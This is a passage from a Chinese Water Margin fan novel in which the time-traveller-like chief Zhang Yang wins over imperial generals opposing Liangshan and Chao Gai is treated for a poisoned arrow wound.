王焕也是出身绿林,后受了招安,在河北与辽国抗战数十载,才做到节度使′然年近七旬,但仍不改年轻时火爆脾气,闻言道:“前番朝廷所派之将,不过是些世家子弟,兵马亦都是国内太平军,如何可与我百战之师相提并论。梁山草寇若真敢出泊,我必杀他个片甲不留,也省却其他节度再动兵戈。”

幕僚也知道王焕决定的事情很难改变,闻言也只好让人多派探马。

刚刚过的独龙岗,便探的前面大队人马拦住去路。

王焕闻报,不惊反喜,指挥人马摆开阵势,便率队迎来。到的梁山军马阵前二里,才扎住阵脚。

王焕见对面梁山军马阵势整齐,衣甲鲜明,才吃了一惊,知道对方不是一般草寇。又见中间一面大旗上书着“张扬”二字,知道贼首亲自下山了。

辽国近年与金国战争不断,财政吃紧,宋辽边境驻军的军饷常有拖欠,使得各部来宋境劫掠的次数也大增。

王焕虽然不敢擅自与辽国开战,但小的冲突却是不断,好在辽国亦不想两线开战,也不敢大规模侵宋。

王焕得知宋金结盟后,便也秣马厉兵,准备再建殊勋。见梁山兵马军容整齐,也不想损伤太多兵力,便生出擒贼擒王之心。

拍马出阵,喊道:“无端草寇,敢死村夫,对面贼首张扬,可敢与我决一死战?”

张扬正欲出战,一旁卢俊义道:“小人刚上梁山,寸功未立,此阵不若由小人代寨主出战。”

张扬也想看看卢俊义武艺,闻言点头道:“此人武艺高强,你小心应对。”

卢俊义接令,拍马出阵,道:“匹夫猖狂,先过我卢俊义这关。”

王焕见卢俊义出言不逊,也不答话,挺枪便戳将过来。

卢俊义也舞棒接住。

二人正是棋逢敌手,将遇良才,片刻间早过七八十合,王焕毕竟已经七旬开外,战了这多时,不免有些疲乏。

张扬生恐卢俊义伤了王焕,忙令人鸣金唤回卢俊义。

卢俊义回马,道:“敌将已经力衰,我正要建功,寨主如何鸣金?”

张扬笑道:“王节度年纪高大了,又一生为国戍边,我恐你伤及他,才鸣金收兵。且让我劝劝他再战不迟。”

王焕正要拼命,却见梁山突然鸣金,也不敢追赶。正犹疑间,只见一个俊俏后生打马出阵,拱手道:“梁山张扬见过王节度。”

王焕闻言,不由仔细打量起张扬来。王焕也在绿林呆过,自然知道绿林之人多是桀骜不驯之辈,若无十分本事,断难统帅众人。见张扬面相儒雅,却能统帅一帮虎狼之士,亦不由暗自惊异。

张扬见王焕若有所思的看着自己,便又道:“王节度在北疆数十载,可否告知张扬辽国军力如何?”

王焕虽然不知张扬有何目的,但见他谦和守礼,便也道:“契丹族立国后,便耽于享乐,战力大不如前,但辽国拥有大量铁骑,整体军力比之我朝还要略强。”

张扬又道:“那金国军队战力如何?”

王焕道:“金国立国不过五载,便攻取了辽国大半城池,我虽未见过其兵马,但想必战力远胜辽军。”

张扬道:“那我国与金国相比又如何?”

王焕想了一下,仍道:“自然不如。”

张扬道:“我国兵马本来便不及金国,朝中又有众多奸臣弄权,一旦宋金接壤,我国岂非连辽国都不如?”

王焕听了也是暗自叹息,但仍道:“我国城池比辽国高峻许多,金国又怎能轻易攻下?”

张扬摇头道:“王将军又何必自欺欺人,世间又哪有攻不下的城池。加之守城重在人和,可如今朝廷奸臣弄权,苛捐杂税多如牛毛,使得各地民怨沸腾。若金国真来攻,又如何可以齐心守城。”

王焕闻言,也无法反驳,但又反问道:“那你等啸聚梁山,不知最终要干什么?”

张扬道:“若当今天子能重新振作,我等情愿往边疆一刀一枪搏个封妻荫子。不然,我等不惜推翻赵宋王朝。我也不愿多损我国兵力,你我不妨来个君子之约。”

王焕也知道自己小觑梁山军马了,但现下也已无法脱身,闻言便道:“寨主说来听听。”

张扬道:“一合内,若我能侥幸胜过节度,节度便率部归降,不然,我便任凭节度吩咐。”

王焕绿林闯荡、沙场征战一直罕逢敌手,闻言不由哈哈笑道:“寨主敢把身家性命托付此战,必有十分把握。老夫本不该应战,奈何老夫生来偏不信邪,你我不妨放手一搏。若寨主不幸落败,我也一定在天子面前保你平安。”

张扬笑道:“如此便先谢过节度了,节度已经大战近百合,小子便采守势吧。”

此战事关重大,王焕也不客气,道声:“小心。”便拍马直取张扬,到的近处,暴喝一声,刚要刺出钢枪,便见一道枪影如毒蛇一般一沾即退,胸前也传出一声脆响。

张扬拱手道:“承让。”

王焕闻言,不由脸色大变,勒住马低头一看,只见护心镜已经被刺出一个手指大小洞口。

一招落败,这对沙场征战数十载的王焕不异晴天霹雳,往昔的雄心壮志刹那间也烟消云散了。

愣了半晌,才下马拜倒,道:“参见寨主。”

张扬忙下马扶起王焕,道:“将军何用行此大礼,我已在山寨给将军摆下酒宴,我们这便上山吧。”

王焕闻言,也只好依诺引兵马上山。

各部依照宋朝更戍法,虽然每年都有调动,但多是河北边兵。王焕又在北疆带兵数十载,几乎每部都有带过,威信颇高。加之梁山兵马众多,各部也不敢起什么异心。

张扬见王焕失魂落魄,便示意杨志上前解劝。

杨志拱手道:“王节度,也莫放在心上,寨主身手超人,平日我等几人都不敢与他放对。关胜兄弟祖乃武圣,家学渊源,可说世之良将,但与寨主交手,也是一合落败。寨主身手实非我等凡人可比,节度也莫灰心。”

王焕闻言,才有些释然,又见杨志面有青痣,想起江湖传闻,便道:“将军可是杨老令公之后,青面兽杨志?”

杨志道:“正是在下。”

杨家将当年正是在河北与辽国征战才闯下倘大名声,王焕在河北也多有耳闻,对杨家先人也是极为敬仰。听得杨志也如此推崇张扬,便也把失败之事抛开,转谈起张扬来。

众人上的山寨,自是一番宴饮,至晚方散。

张扬刚要回独院,便见吴用追来,道:“寨主,王焕兵马尚在山下兵营,若翻变起来,恐怕不好应付。不若编入预备队,重新整编。”

张扬摇头道:“预备队是为选拔精兵,王焕部乃百战之师,便不用再整编了。我看王焕也是重信之人,在军伍间威信也极高,应该不会出事。用人不疑,疑人不用。吩咐各部不得生事,违者严惩。时辰不早了,你也回去歇息吧。”

吴用闻言,也若有所思,行了个礼,便告退而去。

次日又如法炮制,收服了上党太原节度使徐京一路兵马。

第七十九章 高俅出马

枢密院给十处节度使发了调兵令后,高俅并没着急上路,每日只是与王黼、蔡攸一起陪徽宗行乐,好不逍遥。得知梁山拦截了两路军马,这才急令其他八路兵马往兴仁府会合。

待八路人马会齐,高俅才在东京禁军中选拨了两万精兵,拨殿帅府统制党世英、党世雄二人率领。开始整顿衣甲,制造旌旗。等到金陵建康府水军也沿河到达时,高俅才带领人马从东京出发,又恐军中无聊,特地往教坊司选了歌儿舞女三十余人,随军消遣。

当高俅进的兴仁府地界时,已是六月中旬。

众节度、统制和兴仁府知府自然不敢怠慢这个天子宠臣,探得高俅大军到的城外十里,便都往城外迎接。

此时正是午时,早先天上的几片云彩也不知躲到了哪里。太阳一动不动地高悬在头顶,灼烧着万物,早些不时吹拂的微风也不再现身。

众节度、统制都是披甲顶盔,候了不多时,便都汗湿衣甲了。兴仁府知府虽然只穿了官袍,但自小便攻读诗书,出仕后又养尊处优,比众武将也好不到哪里。

看看过了大半个时辰,高俅军马仍未出现,众人不由暗自叫苦,但也不敢去催促或者离去。兴仁府知府也顾不得什么体面了,令属下站做一排挡住阳光,他则一屁股坐下开始歇凉。

又过了良久,地平线才出现大队军马,当先的却是一顶八抬大轿。

汗水流到眼睛里,刺的人生疼。轿夫想到身后随时可能落下的皮鞭,却不敢抬手去擦,还得使劲睁着眼睛,避开脚下的不平处,以免颠簸惊醒轿中睡觉的高俅,招来一顿毒打。

看看到的迎接众人跟前,轿外服侍的李虞候才小心的叫醒高俅。

高俅迷迷糊糊的睁开眼,揭开轿帘,见还在城外,便道:“让大军在城外扎营,迎接的人都到城内府衙吧。”

说完便又放下轿帘,继续做起他的美梦来。

李虞候闻言,便也吩咐轿夫进城。路过迎接的众人时,才颐指气使的道:“我家太尉让众人往府衙等候。”

众人见高俅和其下人如此无礼,也是心中暗怒,但也不得不跟在轿子后面慢慢磨着。

到的府衙,那李虞候才又叫醒高俅。

高俅勉强下了轿子,却仍觉有些困意,便对一旁恭候的知府,道:“一路车马劳顿,你先带本官往客房歇息吧。其他众人,晚上再来吧。”

知府闻言,哪敢违逆,带高俅到的客房,与李虞候一起伺候高俅睡下,才小心的出屋,闭上房门。

那李虞候见众武将还在屋外候着,便道:“你们都回去吧,不要扰了太尉好梦。”

众武将闻言,也只好先回各自营寨。

颍州汝南节度使梅展、中山安平节度使张开的营寨却在一处,二人并缰出的城外。

梅展道:“早听闻高俅是个浮浪之人,未想他下人都如此猖狂。天子身旁尽是这等人,难怪近年全不理政事。”

张开闻言,忙道:“奸臣当道,莫谈政事。我等剿灭梁山贼寇,便可返回任地,也不用再看他主仆嘴脸。”

梅展叹了口气,道:“我听闻梁山替天行道,实在算不得什么贼寇。苛政猛于虎啊,长此以往,我等又能剿灭多少百姓。你治下应该也有不少这样的百姓吧”

张开摇头道:“现在哪处不一样呢。”

梅展道:“我们如此做岂非和那些奸臣同流合污,他们逼得百姓铤而走险,我们再加以镇压。你说,我们这样做到底对吗?”

张开无奈的道:“我等身在其位,只能尽忠职守了。”

说完见已到的自己军营外面,便拱手道:“晚上见吧。”

梅展拱拱手,告别张开,却没回军营,往城外树林一坐便是一下午,直到傍晚,张开才使人找到他。

当晚,众将便又来到府衙。

知府却已给高俅摆下接风宴,高俅与几人吃了几杯,便随手招来携带的歌儿舞女,让其歌舞助兴。

梅展见高俅出征居然还带着女妓,更是脸色铁青。

张开早注意到梅展今日的异常,见状生恐他做出什么事情来,忙在桌下拉了拉梅展。

梅展强自按捺住,举起酒杯,连灌数杯,起身道:“太尉,末将身体有些不适,先行告退了。”

高俅见状,挥手道:“去吧,明日再来议事。”

梅展谢过高俅,便出城而去。

高俅看着梅展背影,双眼却闪过一丝狠厉之色。

张开也把高俅神色看在眼里,忙举杯道:“太尉亲自挂帅,不日必可剿灭贼寇。末将先敬太尉一杯。”

其他众将闻言,也纷纷举杯敬酒。

高俅闻言,也幻想起自己加官进爵的风光来,对众将的敬酒也是来者不拒。

酒至半酣,高俅便拉了一个舞女开始上下其手。

众人见状,忙纷纷告退。

张开出城,便直往梅展军营。进的大帐,便见梅展正闷头喝着酒,帐里也弥漫着浓烈的酒味。

张开上前抢过梅展酒杯,皱眉道:“你怎么也在军中酗酒?”

梅展抬头见是张开,道:“我不喝酒,便想杀人,你让我选哪一个?”

张开也知道梅展症结在哪,摇头道:“我也听得高俅睚眦必报,今日你中途离席,扫了他面子,恐怕这次他会派你打头阵。”

梅展却道:“头阵便头阵吧,我也正想看看梁山张扬是何等豪杰。”

张开闻言,也未多想,又劝了梅展一阵,让人收了酒,便自回营寨。

第八十章 再收二部

次日,众人都往府衙听差。候了良久,高俅才出来。

高俅大马横刀的捡主位坐下,待众人见过礼,便道:“尔等众将也都是久经沙场之人,此次我保举你等带兵而来,切不可辜负我之期望。你等有何良计破贼?”

琅琊彭城节度使项元镇禀复道:“我等可以马步军引贼出战,暗中却调水路战船,去劫贼巢。贼人见巢穴被攻,必然无心恋战,如此当可大破贼军。”

高俅闻言,点点头道:“此计正合我心意,我考虑下如何排兵布阵。你等先去整合兵马,再听我传唤吧。”

众将闻言,也只好再次告退。

众人刚刚出的厅外,高俅身边那李虞候便拦住众人,道:“众位将军还要担待一二,如今粮草出了问题。我家大人虽然多次上书天子,但总不见成效。为了尽快剿灭梁山贼寇,我家大人不得不使银子往朝中众权臣处疏通,但我家大人俸禄有限,那些权臣又狮子大开口。因此我家大人才拖延至今。众位若真有心建功,何不献出些家财,使我家大人尽快打通关节,你等也好建功。”

众人见高俅如此明目张胆的索贿,也是一愣,但也不得不开口应承。

张开与梅展并缰出的城外,张开便对梅展道:“世道如此,我等也不得不妥协,你不见那前太师侄儿云中雁门节度使韩存保,也满口答应吗?你切不可意气用事。”

梅展笑道:“那你准备孝敬多少?”

张开道:“刚才听陇西汉阳节度使李从吉要献一万贯,我们也不好少于他。”

梅展道:“去岁我治下遭灾,我的积蓄都救济灾民了,别说一万贯,一百贯,我也没。”

张开:“我又何尝不是,只有先拿给士卒准备的赏银垫上,剿灭贼寇后,天子该有封赏,到时再赏赐士卒吧。”

梅展道:“我却没这闲钱,我倒要看看高俅能把我怎么样?”

张开见状,不由摇摇头,但也不再多言。

当晚,张开便把准备的赏银送到了府衙,只是分成了两份,自然两人都比其他人少了。

又过了五日,高俅才召集众将。

众人见过礼,高俅便道:“幸得众位相助,才打通京中关节。粮草不日便会运到,我们先往济州等候可也。众人听令:张开、梅展为前军,韩存保、李从吉为右军,项元镇、荆忠为左军,王文德、杨温为合后收军。明日一早,拔营往济州。”

众人接令,便各自出城准备。

梅展对张开道:“你不是使银子了吗?怎么也变成了前军。”

张开闻言,摇摇头道:“总得有个人与你作伴吧,我们先去准备吧,明日便要开拔了。”

梅展见他不愿多说,也只好策马回营。

次日,高俅便领三军,一齐进发,径望济州而来。

路上,高俅放任中军士卒,纵横掳掠,黎民受害,非止一端。下寨时则往百姓家搬掳门窗,搭盖窝铺,十分害民。

于路行了六日才进的济州地界。

前军刚刚行到济州城外,便见数百黄衣马军拦住去路,当先一将,面如冠玉,剑眉星目。端的是潘安再世、宋玉重生,手中霸王枪,更是金光耀眼。正是张扬带领亲兵来给高俅个下马威。

张开听得张扬亲兵拦路,忙趋前探看。

张扬见对方大将来到,便出阵喊道:“来的是那里兵马?不早早下马受缚,更待何时?”

张开出阵道:“我乃中山安平节度使张开,对面可是梁山张扬?”

张扬道:“未想将军也听得在下名字,将军可是要助纣为虐?”

张开道:“职责所在,不容我不来。若寨主愿意归顺朝廷,我等当可同殿为臣。”

张扬笑道:“奸臣当道,我怕我尚未见到天子,便身首异处了。你若执意与我梁山为敌,不妨出阵与我见个高低。”

张开副将道:“杀鸡焉用牛刀,末将愿擒此贼来。”

张开摇头道:“张扬屡擒大将,我正想会会他,你帮我压阵吧。”说完,便拍马来取张扬。

张扬却把霸王枪横在马上,也打马迎来。

张开见状,不由一愣,刺出的钢枪也不由慢了几分。眼看张扬便要倒在自己枪下,张开却涌起一股失落感,名扬天下的张扬居然束手赴死。

张扬却等枪尖离胸前不到一寸,才扭身避开,然后狼腰款扭,猿臂轻舒,便把张开提过马来。接着呼哨一声,便带着亲军向琳琅山而去。

张开副将见主将被擒,忙挥军追来。

梅展听的张扬捉了张开,也是心中一动,也不报告高俅,便领军追来。

张开部刚刚进的山区,便听山上金鼓乱鸣,张开副将正犹豫间,见梅展也已领兵追来。便迎上前,道:“贼人似乎有埋伏,是否等太尉大军到齐再追。”

梅展却是别有计算,闻言道:“贼人此乃虚张声势,若真有伏兵,一定会杀我们个措手不及,如何会通知我们。况你主将被擒,你还敢见高太尉吗?尔等且随我来,今日一定使你等与张节度团聚。”

说完便又率军穷追。

高俅听的前军张开被梁山贼人活捉,梅展又率二部追入山区,忙挥兵追来。看看进入山区,山上又是一阵金鼓声。

高俅见前面山势险要,连绵不绝,不由暗自心惊。召来党世英道:“前面多远可以出的山区?”

党世英闻言,也猜到高俅顾虑,道:“还有二十多里,天色马上就要黑了,若大军追入山区,恐怕会中了贼人埋伏。若贼人没有埋伏,数百马军必然逃不过前军围堵。而且士卒已经疲惫,实在不堪再追击了,我等不若在济州等候消息。”

高俅本来心里便有丝惧意,被党世英这一分析,更没了追击勇气,挥手便领军返回了济州。

张扬看着身后穷追不舍的大军,也是惊奇不已。

本来自己以为用山上一百亲兵便可吓退追兵,没想到官军居然穷追不舍,好在他们不熟地形,否则还真有被合围的可能。

解珍本来奉命在山上敲一阵金鼓便撤退,但见前军追过去后,并没人搭理他们,便又吓退了高俅大军,才领兵绕近路,抄在众人前面出了山区。由于情况出乎张扬预料,解珍又分出一人报回山寨。

张扬出的山区,天色已经微黑,见解珍已经带队等候,便道:“后面官军有多少追兵?”

解珍道:“官兵大队被我们吓退了,只有官兵前军追赶,应该是二万人,我已令人报回山寨。”

张扬闻言,喜道:“做得好,此战当记你首功。”

解珍道:“属下不过照寨主吩咐做而已。”

张扬笑道:“你报回山寨,便可记首功,看来这两万兵马也逃不了。”

张扬见后面官兵也陆续追出山区,便带兵停下等候。

梅展见梁山兵马在远处观望,便也开始整顿兵马。

待官兵列好阵,张扬便打马近的阵前,喊道:“我乃梁山张扬,请主将出阵答话。”

梅展出阵,道:“我便是颍州汝南节度使梅展。”

张扬道:“节度当年也是被逼起义,后受了朝廷招安,才带兵一方。但现下民不聊生,节度何忍助纣为虐。”

梅展却不正面回答,反问道:“不知寨主聚集兵马,意欲何为?”

张扬见似乎有些门道,便道:“若天子振作,我等自愿效犬马之劳,不然,舍得一身剐,也要使青天换日。节度何不与我等做翻事业。”

梅展也是贫苦出身,近年对赵宋朝廷早有不满,任地又接近王庆起义地方,通过朝廷几次征伐,也看穿了朝廷虚实。早有使青天换日的心思,只是见王庆残暴少仁,才未相投。梁山张扬仁义宽厚之名,他也多有耳闻。

闻言道:“寨主替天行道,我愿为寨主执鞭坠镫。请寨主先放张节度过来,我等便领兵相投。”

张扬闻言,倒也不怕他反悔,放下张开,道:“我们是不打不相识,将军且去整顿兵马,众人再往山寨吃酒。”

张开也拱拱手,回到阵前,与梅展商议了一阵,二人便率兵归降了张扬。

众军刚刚走不多远,便觉地面巨震,同时黑暗中传来阵阵马蹄声。

张开、梅展都是久经沙场之人,马上判断出是大批马军来,刚要出声提醒。张扬已经示意武松上前喊话,对方正是吴用、宗泽接到解珍消息派来的花容独立马军。

众人回到山寨,自是一番宴饮。

第八十一章 天意难违

次日,高俅正要派兵打探前部消息时,却有几个士卒逃回来,告知张开、梅展已经率军投了梁山。

高俅闻信,对其他节度也起了疑心,一面令人搜罗船只,一面却使人往京师求援。

王黼接到高俅求援信,却想趁机侵夺蔡京势力。蔡京虽然致仕,但党羽颇多,自然不甘服输。一时间,东京也是硝烟弥漫。

张扬则趁机整编了预备队,又组建成万人队七个,分别由鲁智深、卢俊义、晁盖、段鹏举、周信、董平、张清担任万夫长。加上新降四部,梁山万人队便达到了十六个。花荣部马军千夫长则由索超、李应、朱仝接任。

晁盖等人刚刚掌了大权,自然急于求战,好建立功劳。

这日,张扬与众头领商议军情时,晁盖便道:“山寨兵马已经整编结束,高俅大军又已不足十万,山寨此时出兵,必可大胜。”

张扬却并不想太快击败高俅,以免引来西北精兵,再使方腊坐大,那样自己统一中原的工作量便也增大许多了。闻言道:“你们刚刚接任兵马,将士不熟,高俅麾下又尽是精锐之师,怎可轻易用兵?我听说有不少豪强聚集乡兵,欺压百姓,不若先拿他们练兵。戴宗,你可传言山东各地乡勇,半月内就地解散,不然,山寨便兵至城下。”

戴宗接令,自去安排,晁盖等人也只好回去操练兵马。

各地豪强接到梁山传信,便纷纷解散乡勇。

凌州曾头市却是个藏污纳垢之所,聚集了五千多兵马,暗中常派人四处劫掠。接到梁山通知,家长曾长者忙召来五子和手下教师史文恭、苏定商议。

史文恭道:“这正是一个富贵的机会,我等不必理会梁山通告。梁山虽然势大,但有高太尉大军在侧窥伺,必然不敢派大军来攻。若派小部来攻,我等正可捉得他几个头领,献给高太尉。到时必有封赏,我等也不用再冒险劫掠行商。”

曾家五子闻言,也纷纷附和。

曾长者见状,便也决定对抗梁山。

众人又恐梁山不来攻击,居然在市前摆了五十余辆陷车,并传言要捉尽梁山头领。

梁山探子探的此事,忙报回山寨。

张扬闻讯,便召来众头领,道:“凌州曾头市往昔便四处劫掠百姓,接到山寨通知后,不但未解散兵马,反而传言要捉尽我梁山头领。是可忍孰不可忍,谁愿带兵去攻灭此市?”

话音刚落,晁盖便起身,道:“我愿领兵下山。”

张扬见是晁盖第一个请令,不由一惊,水浒中晁盖便是丧在曾头市史文恭毒箭下,若让他去,恐怕会有损兵折将之虞。

晁盖见张扬犹豫,又道:“寨主若不放心,我愿立下军令状,破不得曾头市,你便砍我脑袋。

张扬闻言,也不好再令派他人,道:“不用了,便以你为帅,再拨花容部马军相助。只是那史文恭武艺不在林冲众人之下,又惯以毒箭伤人,你等一定小心提防。”

晁盖见张扬如此慎重其事的嘱咐,也是暗自放在心上。

次日,晁盖便领军往凌州而去。

张扬又给了武松一支抗毒素,让他下山注意晁盖军,以防折了晁盖。

晁盖领军到的曾头市外,下了寨栅。

次日,便与花荣几个头领来看曾头市。

曾头市也早探的梁山兵马到来,几人轮流守护村口,此时正值曾家四子曾魁和五子曾升当值。二人见梁山头领来看阵,略一商议,便带兵马出来捉人。

曾魁带兵马奔出村口,便高声喝道:“你等梁山泊反国草寇!我正要来拿你解官请赏,原来天赐其便!还不下马受缚,更待何时!”

索超闻言大怒,拍马便去取曾魁。

两个交马,斗了三十余合,曾魁渐感力怯,奋力逼开索超,便拨转马头欲走。

不妨花荣已取下弓箭,见曾魁欲走,觑准曾魁后心便射。弦响处,曾魁早应声落马。

索超又抢上前,取了曾魁首级。

曾升见哥哥身首异处,忙拍马来抢哥哥首级。

不妨花荣又是一箭,正中面门,栽下马去。

曾头市兵马不过是平日四处劫掠行商,见主将都被杀,便一窝蜂的涌向庄内。

索超见状,又取了曾升首级,打马回来,笑道:“看来是寨主太过小心了,如此兵马怎么能与我山寨相抗。”

晁盖却是见过张扬神奇预言,闻言道:“寨主所说那人必有厉害之处,我们且回去歇息,午后再领兵前来搦战。”

众人刚刚策马回营,便见曾头市兵马在营外摆开阵势。

晁盖便也领军出营,刚刚摆妥阵势。

曾家长子曾涂便出马喊道:“刚才放暗箭的贼人,可敢出来与我一战?”

花荣见他点名搦战,也不示弱,拍马出阵,道:“刚才不过是给你等提个醒,若不尽早解散兵马,恐你全家不保。”

曾涂闻言,不由大怒,挺枪便来取花荣。

花荣也使枪迎住曾涂。

两马交错间,早过二三十合。

史文恭见曾涂急切间取不得胜,便暗暗取下弓箭,待两马交错,花荣背对之时,望准花荣后心便射。

花荣却是惯使弓箭的人,听的弓弦响,一个镫里藏身,手一扬便把来箭捉住,又顺势取下弓,翻身一箭正中曾涂右臂。

曾密、曾索见状,忙拍马来抢曾涂。

晁盖见花荣得胜,便也挥军杀来。

五千马军冲锋的势子却不是那些寻常盗匪敢正面对抗的。史文恭见手下人马纷纷逃走,也不敢再战。望准前面冲锋的晁盖射了一箭,便落荒而逃。

晁盖不妨有此冷箭,急躲时,一箭已经射中面门,摔下马去。幸得亲兵拽起,才躲过万马践踏之厄。

其他头领却不知情,一气冲进曾头市,扫平曾府,才得知主将中箭。来看晁盖时,那枝箭正射在面颊上;急拔得箭出,晕倒了;看那箭时,上面正有“史文恭”字,却是一枝药箭。晁盖中了箭毒,已自言语不得。

花荣正要使人送回山寨时,见武松进来,忙道:“你如何也下山了?”

武松道:“寨主恐晁盖头领出事,特令我暗中救应。”

说完便取出张扬给的抗毒素,依照张扬吩咐,在晁盖胳膊上按了一下,便融进晁盖体内,晁盖呼吸也均匀了些。

众人见武松手里的东西钻入晁盖皮肤,不由惊道:“这是什么东西,怎地从未听过?”

武松道:“寨主说这不是凡间之物,可以延缓毒物发作,寨主也只有几个。晁头领还未解毒,必须送回山寨,再请名医治疗。”

花荣等人闻言,对张扬更添了几分敬畏。花荣派人先随武松护送晁盖回山。大军清点战果,曾密、曾索、苏定都死于乱军中,曾涂则被踩做肉泥。独有史文恭漏网,众人搜索了半日,未见其人,也只好收拾钱粮向山寨而来。


05-09
第八十二章 花石之祸

武松一面小心护送晁盖回山,一面先使人飞报张扬。

张扬听的晁盖中箭,也是吃了一惊,召来戴宗、张顺,道:“晁盖不幸中了毒箭,恐怕山寨大夫不济。听的江南建康府有个神医安道全,手到病除。张顺兄弟可是与他相识?”

张顺却从未提过安道全,闻言不由奇道:“小弟旧在浔阳江时,因母得患背疾,百药不能得治,后请得他才治好。向后小弟但得些银两,便着人送去与他,因此有些交情。”

张扬道:“如此便好,我已备好金银,你二人可带了,往建康府请他来医治晁盖兄弟,切莫耽搁。”

二人闻言,取了包裹,便乘鹰往江南而来。

到的建康府城郊,二人便寻个荒凉处落地,张顺自带金银往城中寻人。安道全见有许多金银,加上张顺未明言去梁山,便也未推辞。出的城,见到戴宗身旁两只巨鹰,想起朝廷通缉的梁山贼寇神鹰太保,才惊道:“你莫不是要请我去梁山?”

张顺道:“刚才多有隐瞒,还请兄长见谅。”

安道全虽然不欲去,但见戴宗提刀带枪,也只好道:“我早听的梁山替天行道,兄弟大可明言,不知我们如何上路?”

张顺对戴宗道:“晁盖头领恐有性命之忧,你且与神医乘鹰回去,我自行回山可也。”

戴宗也知事情缓急,道:“那兄弟一路小心,我便与神医一同上路了。”

张顺点点头,看着二人乘鹰远去,才往江边而来。

到的江边,等了半日却不见有渡船。眼见天色将黑,张顺只好先寻个宿头,走了几步,见树林中隐隐有个酒帘。转入林子里看时,却是一个村酒店。

张顺进的酒店,捡一副干净座头坐了,便见一个老汉出来,道:“客官担待,店中酒食没了,若要吃酒,恐怕得另寻他处。”

张顺央道:“我乃外地之人,路径不熟,劳烦老丈去附近村子寻些酒食来,明日我多与你几贯钱。”

那老汉道:“这却难办,押运花石纲得官船刚刚过去,官差把附近村子酒食搜刮一空,有钱也难买啊。客官要不挑口,老汉还藏了些馒头,可供充饥。”

张顺道:“无妨,你且拿来,末了我算钱给你。”

老汉拿来馒头,左右店内没事,便坐到一旁与张顺闲聊。

张顺以往正是逃避花石纲,才从大江躲到浔阳江。

只因那花石纲遇交通不便的路段,便要用人力抬扛,因此大量征用沿江百姓。百姓服了劳役,还得自备干粮,不管炎天暑热、雨雪风霜,都得咬牙忍受,挣扎前进,稍有不合,便遭官差们的毒打。押送的官差则倚势招摇,到处都有地方官吏逢迎接待,任性享受。民夫们则只能宿在野地里,日晒夜露,受那寒暑风霜的侵袭。稍微体质弱一点的人,便在途中磨折而死,因此人们才避之如蛇蝎。

听的老汉说起花石纲,便道:“那押运花石纲的官船现在多久走一遭?”

老汉道:“哪有定时,只要有官差看中的花石,便会运往东京。每走一次,沿江百姓便遭一次灾啊。”

张顺道:“那老丈怎么不往他处躲避?”

老汉道:“现下江南都是如此,北地又无可投靠亲友,我又无甚家私,去往他处,也多半得客死异乡,因此才滞留在此。”

二人正说间,一个精瘦后生却跳了进来。

老汉见他衣衫尚湿,便斥道:“让你躲避官差,你却又跑去玩水了,若被官差捉去,让我一人如何独活?”

那后生道:“孩儿水性也练得精熟了,如何会被官差捉住。今天我看到一对巨鹰飞过,定是那梁山神鹰太保戴宗,只恨无缘结识,不然孩儿一定随他往梁山替天行道。”

张顺闻言,道:“你也听的梁山之名吗?”

那后生看了眼张顺,想了想,便翻身拜倒,道:“张顺哥哥在上,且受小弟一拜。”

张顺扶起那后生,奇道:“你如何认得我?”

那后生道:“小人姓王,排行第六;因为走跳得快,人都唤小人做活闪婆王定六。平生

只好赴水使棒,多曾投师,不得传受。以往也在江上见过哥哥,只是未曾拜会。近年虽然未见,但哥哥相貌却未多变,因此识的。”

张顺笑道:“我数年前便到了浔阳江,去年又到了梁山,不想这大江之上,还有人识得我。”

王定六闻言,更是喜道:“原来哥哥也去了梁山,小弟也正想去投,还请哥哥带契一二。”

张顺道:“相见便是有缘,山寨也正扩充水军,兄弟若水性使得,也可与我去做个头领。”

王定六道:“虽然不敢与哥哥相比,但在水下也伏的多时。”

梁山马步军一再扩充,水军虽然也有补充,但一直无法满编,各头领麾下人手都嫌不足。张顺也正想收罗几个合用的手下,闻言也是大喜,又给王定六讲些张扬神奇之事,使得王定六更是彻夜难眠。

次日,王定六便带了老父,随张扬往梁山而来。

三人到的江边,等了许久,才见一艘小船划来。

王定六把那船喊到岸边,才看清是常在江上劫人的截江鬼张旺和油里鳅孙五。便对张顺道:“这两人也好水性,哥哥走后,他们便霸了大江这一段。”

张顺闻言,便也生出收罗的心思。

张旺二人也经常到王家酒店吃酒,近的岸边见是王定六,便道:“我只当有生意呢,原来是兄弟啊。”

王定六道:“小弟正要过江,还得劳烦两位哥哥送一程。”

张旺让三人上了船,道:“不知兄弟要往哪里去?”

王定六见张顺点头,便也道:“这位是浪里白条张顺哥哥,他已在梁山做了头领,我正要随他去梁山。”

张旺闻言,与孙五换了个眼色,便一起拜倒,道:“哥哥若不弃贫贱,小弟二人也愿为哥哥执鞭坠镫。”

张顺扶起二人,勉励了几句,了解到二人并没家眷,便带四人径回梁山。

第八十三章 高俅初战

戴宗与安道全乘鹰直达梁山,沿路并不敢耽搁。

张扬率大小头领接着二人,略作寒暄,便直到晁盖卧榻内,就床上看时,见晁盖面色已经有些发黑,抗毒素药力也已快过去。

安道全先诊了脉息,道:“晁头领所中确是一种致命剧毒,所幸被药物压制住了,入骨并不深。不是安某说口,只五日之间,便要复旧。”

张扬已找过几个山寨大夫,只是都束手无策,听得安道全有此把握,忙道:“如此便全拜托先生了。”

安道全道:“不过举手之劳。请众头领先出去,小可要先以金针泄毒。”

张扬闻言,忙带众人退出屋子。

安道全当下便以针灸泄毒,不多时,便见晁盖眼皮跳动,安道全见状,便叫众人都进来。

张扬众人进屋,见晁盖已经苏醒,不由齐口称赞安道全医术。

晁盖见张扬进来,便要挣扎起身。

张扬按住晁盖道:“你身子尚虚,躺下说话吧。”

晁盖见张扬待自己如此宽厚,不由惭道:“寨主早有吩咐,不想晁盖还是中箭了。”

张扬道:“那史文恭阴险毒辣,防不胜防,你也不必放在心上。异日我一定替你报仇。”

说完又转头对安道全道:“晁兄弟是否已经没事?”

安道全道:“晁头领体内毒素已经排出大半,再以药剂相佐,不消几日便可清除余毒。”

张扬闻言,又谢过安道全,与晁盖略微交谈几句,便都各奔营寨。

在安道全医治下,不几日,晁盖便肉体滋润,饮食复旧。

不几日,张顺便引着王定六四人回山,来拜见张扬,说起花石纲之祸。

张扬叹息几句,便也把几人安排到张顺麾下。

却说朝堂之上,王黼与蔡京角力多时,见独自胜不得蔡京,才以北京兵权为码,使童贯一起发力,小胜蔡京一阵。蔡京党羽便纷纷被明升暗降,梁中书升为山东制置使,辖下兵马也轮调山东,并由梁中书率领援助高俅,一同中箭的还有东辅拱州二万兵马。

